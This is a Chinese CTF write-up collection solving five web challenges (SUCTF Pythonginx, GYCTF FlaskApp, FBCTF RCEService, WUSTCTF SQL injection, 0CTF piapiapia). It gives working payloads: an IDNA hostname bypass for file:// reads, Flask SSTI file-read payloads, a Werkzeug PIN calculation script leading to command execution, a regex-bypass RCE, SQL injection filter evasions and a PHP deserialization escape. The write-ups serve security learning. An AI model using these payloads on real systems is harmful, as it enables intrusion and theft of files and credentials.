[SUCTF 2019]Pythonginx
參考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN部落格
[SUCTF 2019]Pythonginx - 春告鳥 - 部落格園 (cnblogs.com)
url中的unicode漏洞引發的域名安全問題 - 先知社群 (aliyun.com)
開啟看一下原始碼吧
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
我們應該繞過前面兩個if,進入第三個if,然後去讀取檔案
然後就是利用了特殊字元去進行繞過,詳情可以看一下參考的連結、
需要構造一個特殊字元,師傅的指令碼里面也都有。
先檢視一下passwd的檔案
/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
然後提示是nginx伺服器,我們檢視一下nginx伺服器的配置檔案,然後檢視到了flag檔案
/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf
/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag
[GYCTF2020]FlaskApp
參考:
[記一次Flask模板注入學習 GYCTF2020]FlaskApp - seven昔年 - 部落格園 (cnblogs.com)
一般看到都覺得是模板注入,因為她有base64解密頁面,那我們就在base64解密頁面搞
我們輸入payload,記得base64加密一下
{{7*7}}
e3s3Kjd9fQ==
這裡回顯了
猜測可能是waf阻攔了,我們換一個
{{7+7}}
e3s3Kzd9fQ==
回顯14,那就是flask的模板注入問題
然後我就想看一下基類下面的類,但是我發現沒回顯,我也不太清楚,ssti也是不太熟悉
{{''.__class__.__bases__[0].__subclasses__()}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==
這裡沒有回顯我就開始參考師傅們的部落格了
hint裡發現
這裡是構造了讀取檔案的payload
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
然後的確可以讀取之後,不知道flag在哪,所以要透過獲取pin碼開啟python shell
可以先了解一下pin吧深入淺出Flask PIN - 蟻景網安實驗室 - SegmentFault 思否
關於ctf中flask算pin總結_ctf:flask-CSDN部落格
pin碼生成要六要素
1.username 在可以任意檔案讀的條件下讀 /etc/passwd進行猜測
2.modname 預設flask.app
3.appname 預設Flask
4.moddir flask庫下app.py的絕對路徑,可以透過報錯拿到,如傳參的時候給個不存在的變數
5.uuidnode mac地址的十進位制,任意檔案讀 /sys/class/net/eth0/address
6.machine_id 機器碼 這個待會細說,一般就生成pin碼不對就是這錯了
————————————————
原文連結:https://blog.csdn.net/qq_35782055/article/details/129126825
這裡username應該就是flaskweb
然後modname是flask.app
然後appname是Flask
接下來拿moddir,透過報錯注入得到,我們在解密頁面輸入不是base64加密的資料去解密,就會產生報錯
發生報錯後,發現了app.py的路徑
/usr/local/lib/python3.7/site-packages/flask/app.py
然後讀取/sys/class/net/eth0/address
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==
得到uuidnode是 e2:32:31:55:37:09,轉為十進位制262220831274775
現在就只差這個machineid,對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個檔案,windows的id獲取跟linux也不同。
對於docker機則讀取/proc/self/cgroup:
我們獲取一下machineid
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==
然後得到machineid是1408f836b0ca514d796cbf8960e45fa1
開始使用計算pin的指令碼
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]
private_bits = [
'262220831274775',
'1408f836b0ca514d796cbf8960e45fa1'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出的pin
111-678-665
然後在/console開啟控制檯輸入pin值,進入互動式,輸入
import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()
得到flag
flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}
[FBCTF2019]RCEService
參考:
[buuctf-web FBCTF2019]RCEService - AW_SOLE - 部落格園 (cnblogs.com)
preg_match繞過方法總結 · HacKerQWQ's Studio
PHP利用PCRE回溯次數限制繞過某些安全限制 | 離別歌 (leavesongs.com)
開啟題目說是json格式,我們應該payload寫成json格式
我們嘗試一下
{"cmd":"ls"}
程式碼的確執行成功
然後這裡貼一下原始碼吧
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
他這裡是修改了環境變數了,修改至/home/rceservice/jail,所以只能使用絕對路徑使用cat命令
然後preg_match只會匹配第一行,我們可以繞過preg_match繞過簡單總結 - z2n3 - 部落格園 (cnblogs.com)
看一下目錄檔案
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
然後檢視flag
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
這邊還有佬用PCRE回溯限制,附上指令碼
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
print(payload)
print(res.text)
[WUSTCTF2020]顏值成績查詢
輸入
1
回顯100
後面輸入
1 and 1=1
後面發現是過濾了空格,我們用/**/測試一下
1/**/and/**/1=1
然後
1/**/and/**/1=2
然後判斷欄位數
1/**/order/**/by/**/3 // 回顯正常
1/**/order/**/by/**/4 // 回顯錯誤
所以欄位數為3,開始判斷一下回顯位置
-1/**/union/**/select/**/1,2,3
提示不存在,可能還有些被過濾了一些關鍵詞
我們試試大小寫繞過
-1/**/Union/**/Select/**/1,2,3
接下來爆資料庫名:
-1/**/Union/**/Select/**/1,2,database()
爆表名:
-1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'
爆列名
-1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'
爆資料
-1/**/Union/**/Select/**/1,2,value/**/From/**/flag
1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))
[0CTF 2016]piapiapia
參考:
[0CTF 2016]piapiapia WP(詳細)_[0ctf 2016]piapiapia wp-CSDN部落格
[BUUCTF-WEB 【0CTF 2016】piapiapia 1_0ctf 2016]piapiapia 1-CSDN部落格
先嚐試了sql注入,都失敗了
沒思路了掃一掃吧,我這邊什麼都沒掃到,根據wp是掃到了
config.php index.php register.php
後面有發現是www.zip,原始碼洩露
config.php
profile.php
update.php
class.php
開始梳理可能存在漏洞的地方
在profile.php發現file_get_contents,可以進行檔案讀取
那profile又是哪裡來的呢,他是有class.php裡user類的show_profile的這個方法
這個方法先呼叫了user類的父類mysql類裡面的filter類
這裡是替換字串中的單引號和反斜槓為下劃線 ,並且替換多個字串為hacker。
implode函式是表示把陣列拼接起來,拼接符是 “|”
之後又呼叫了mysql類裡面的select方法
資料是從資料庫的表出來的,看看哪裡進行插入資料,在mysql類裡面的update方法
然後user類發現了這個方法的呼叫
接下來再看誰呼叫了user類裡面的update_profile這個方法,在update.php找到
同時也看出來profile的值都有post賦值而來
這裡開始分析,怎麼利用漏洞
我們可以看到先判斷了photo的大小,然後進行了md5加密,太難利用了
我們再看一下nickname這個引數
又在update.php有一個正則限制
然後就用陣列進行一個繞過
但是陣列繞過我,我們需要新增上一個}
nickname[]=where";}s:5:"photo";s:10:"config.php";}
這個時候,我們的nickname[]陣列實際長度是39位,除了where,多出來了34位,所以我們需要用where構造34次,來補一下
最後的payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
分析完畢後,我們去註冊頁面創一個號
然後登陸進去,上傳的時候抓包
修改一下
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
然後會有個連結,點選,檢視原始碼,有一堆base64加密的資料
我們拿去解密,得到flag